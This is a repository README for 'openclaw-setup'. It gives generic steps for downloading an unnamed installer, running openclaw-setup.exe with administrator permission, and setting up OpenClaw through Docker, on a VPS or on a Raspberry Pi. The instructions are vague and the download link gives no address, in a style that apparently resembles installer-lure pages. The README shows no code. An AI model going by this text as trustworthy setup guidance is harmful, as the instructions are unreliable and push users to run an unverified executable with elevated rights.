openclaw-setup helps you set up OpenClaw on a server with less guesswork. It gives you a clear path for getting the app running on Windows and then moving to a server if you need to.
This guide is made for regular users. You do not need to know command lines or server terms to get started.
Use this link to visit the page and download the setup files:
Visit the openclaw-setup download page
If the page opens in GitHub, look for the latest release or the main project files. Download the setup package or app file you see there, then save it to your PC.
Before you start, make sure you have:
- A Windows PC
- An internet connection
- About 500 MB of free disk space
- Administrator access on your computer
- A server or VPS if you plan to host OpenClaw online
For server use, a simple setup works best with:
- Windows Server or a recent Linux server
- 2 GB RAM or more
- A stable network connection
- Docker installed if you plan to use containers
Follow these steps on your Windows computer:
- Open the download link above.
- Save the file to your Downloads folder.
- If the file comes as a
.zip, right-click it and choose Extract All. - Open the extracted folder.
- Find the setup file or app file.
- Double-click it to start.
- If Windows asks for permission, choose Yes.
- Follow the on-screen steps.
If you see a file named openclaw-setup.exe, that is the file you should open. If you see a folder with setup files, open the main installer inside that folder.
When the app opens for the first time, you may need to:
- Pick your language
- Choose where OpenClaw should be installed
- Enter your server address
- Set a username and password
- Confirm the folder that will hold app data
Keep the default choices if you are not sure. They are set for common use.
A normal setup looks like this:
- Start the app.
- Choose local install or server setup.
- Enter the server name or IP address.
- Add your login details.
- Choose a storage folder.
- Click the final setup button.
- Wait while the app finishes its work.
- Open OpenClaw in your browser or desktop app.
If you plan to use Docker, the app may ask for container settings. In most cases, you can keep the default values and continue.
OpenClaw Setup supports Docker-based setup for users who want a clean server install.
Use Docker when you want:
- Easy updates
- Fewer manual steps
- A clean app environment
- A setup that can run on a VPS or home server
Typical Docker setup steps:
- Install Docker on your server.
- Start openclaw-setup.
- Choose Docker setup.
- Confirm the app port.
- Pick a storage path for data.
- Start the container.
- Check that the service is running.
If you are using a Raspberry Pi, choose the image that matches your device type. Keep the default port unless your network uses the same one already.
If you want to run OpenClaw on a server, use these steps:
- Make sure the server is online.
- Download openclaw-setup.
- Run the setup on the server or copy the files there.
- Enter the server details.
- Choose whether the app will run on the local network or the public internet.
- Finish the setup.
- Test the link from another device.
For a VPS, use a public IP address and open the port in your firewall. For a home server, use your local IP address first, then set up remote access later if needed.
openclaw-setup also works for small home devices like a Raspberry Pi.
Use these steps:
- Make sure the Pi is updated.
- Download the setup files that match the device.
- Copy the files to the Pi.
- Open the setup tool.
- Choose the Pi option if shown.
- Save the data folder on the SD card or external drive.
- Start OpenClaw.
A Pi setup works best for light use and small teams.
You may need to set a few network options during setup:
- Port: the number used to open OpenClaw in a browser
- Host: the server name or IP address
- Local access: use this on your home network
- Public access: use this for access from outside your network
If the app does not open in your browser, check that the port is not blocked by your firewall.
If something goes wrong, try these steps:
- Run the installer as administrator
- Check that the file finished downloading
- Make sure Docker is running if you picked Docker setup
- Restart the app
- Restart your PC or server
- Confirm that the server address is correct
- Check that the chosen port is open
If the app closes right away, the install may be incomplete. Run the setup again and keep the default path.
After setup, you may see folders like these:
configfor app settingsdatafor saved fileslogsfor error reportsdockerfor container settingsbackupfor saved copies
Keep these folders in place. The app may need them each time it starts.
To update OpenClaw:
- Visit the download page again.
- Get the newest version.
- Close the app.
- Run the new setup file.
- Keep your existing data folder.
- Finish the update process.
If you use Docker, update the container image and then start the app again.
openclaw-setup fits these use cases well:
- Home server setup
- Small office deployment
- VPS install
- Docker-based hosting
- Raspberry Pi hosting
- Simple self-hosting on Windows
- Repository: openclaw-setup
- Description: The definitive guide to setting up OpenClaw on any server. Powered by MyClaw.ai
- Topics: cloud-hosting, deployment, docker, myclaw, openclaw, raspberry-pi, self-hosting, server-setup, setup, vps